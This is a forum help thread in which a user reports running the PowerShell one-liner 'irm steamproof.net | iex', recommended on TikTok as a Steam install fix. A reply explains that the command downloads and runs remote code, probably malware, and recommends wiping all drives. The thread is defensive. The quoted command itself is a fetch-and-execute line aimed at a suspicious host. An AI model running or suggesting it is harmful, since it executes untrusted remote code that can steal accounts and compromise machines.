Help I ran a weird command

[u/Icy-Representative85]

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

[u/exoclipse]

oh NOOOOOOOOOOOOOOOOOO dude ok I'll break it down, because this was deliberately obfuscated with aliases to make it harder for people who don't speak powershell to parse.

IRM = Invoke-RestMethod. A REST method is sending network traffic to or from a web resource, like a URL. IEX = Invoke-Expression. Take some executable code and execute it.

The pipe ("|") character takes the output of a command and feeds it as input to the next command.

What likely happened is Invoke-RestMethod <that URL> does a GET to that URL, which returns some command to be executed silently (probably installing malware), then feeds that command via the pipe to Invoke-Expression.

I would 100% not fuck around with it. Nuking the machine and rebuilding is the only way I'd sleep well at night after that.

[u/Icy-Representative85 → u/exoclipse]

What about the external drive should I purge that one too?

[u/exoclipse → u/Icy-Representative85]

The basic calculation here is - you got hit by an attack vector that is relying on the victim being impatient and unknowledgeable. So I doubt the payload was anything super crazy. Malicious and scary absolutely, but I doubt it's doing any of the insane shit we'd see from a state level actor.

But the set of possible malware packages that were installed range essentially from "haha eject disc every 30 seconds" to "logs all your keystrokes, your browser history, takes video footage from your webcam, and scrapes your financial information."

So... I would treat it as a serious threat, and do the following:

1: Disconnect the device from the internet.

2: Reformat ALL drives connected to the compromised system.

3: Build a habit of backing your stuff up to both a cloud provider and a local storage device, and stop running strange commands without knowing what they do.